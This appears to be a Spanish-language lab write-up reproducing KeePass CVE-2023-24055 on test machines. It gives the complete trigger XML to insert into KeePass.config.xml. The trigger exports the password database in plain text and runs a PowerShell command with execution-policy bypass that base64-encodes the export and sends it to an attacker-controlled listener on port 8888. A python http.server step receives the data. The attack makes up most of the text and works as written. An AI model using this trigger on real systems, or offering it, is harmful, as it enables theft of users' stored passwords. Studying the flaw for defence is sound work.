
Reproducción de KeePass CVE-2023-24055
Reproducción de KeePass CVE-2023-24055 Reproducción de KeePass CVE-2023-24055
1, Preparar las máquinas: kali (192.168.232.129), windows10 (192.168.232.128)
2, Versión de keepass: 2.53

2, Principio: modificando el archivo de configuración de keepass KeePass.config.xml, se añade el elemento de configuración del disparador (trigger): exportar la contraseña en texto plano y subirla al servidor del atacante; el código XML del disparador que se añade es el siguiente:
Donde: el campo <Parameter>c:\Users\Long\AppData\Local\Temp\exploit.xml</Parameter> define la ruta local para exportar la contraseña en texto plano.
Usar PowerShell con el método GET para transmitir el archivo de contraseñas.
<Parameter>PowerShell.exe</Parameter>
<Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\Long\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.232.129:8888/$var -Method GET </Parameter>
<Triggers>
<Trigger>
<Guid>lztpSRd56EuYtwwqntH7TQ==</Guid>
<Name>exploit</Name>
<Events>
<Event>
<TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid>
<Parameters>
<Parameter>0</Parameter>
<Parameter />
</Parameters>
</Event>
</Events>
<Conditions />
<Actions>
<Action>
<TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid>
<Parameters>
<Parameter>c:\Users\Long\AppData\Local\Temp\exploit.xml</Parameter>
<Parameter>KeePass XML (2.x)</Parameter>
<Parameter />
<Parameter />
</Parameters>
</Action>
<Action>
<TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid>
<Parameters>
<Parameter>PowerShell.exe</Parameter>
<Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\Long\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.232.129:8888/$var -Method GET </Parameter>
<Parameter>False</Parameter>
<Parameter>1</Parameter>
<Parameter />
</Parameters>
</Action>
</Actions>
</Trigger>
</Triggers>
3, Modificar el archivo KeePass.config.xml, añadir el elemento de configuración XML y guardar (ubicación: dentro de la etiqueta <TriggerSystem></TriggerSystem>), abrir keepass para verificar si se añadió correctamente:

4, Abrir kali y usar el comando python3 -m http.server 8888 para iniciar el servicio web y recibir la contraseña en texto plano exportada

5, Abrir keepass, crear una nueva entrada y guardarla; el disparador se activa y se comprueba el contenido recibido en kali:

6, Copiar el contenido a un archivo y decodificarlo con base64 para obtener la contraseña en texto plano


Artículo de referencia: https://github.com/alt3kx/CVE-2023-24055_PoC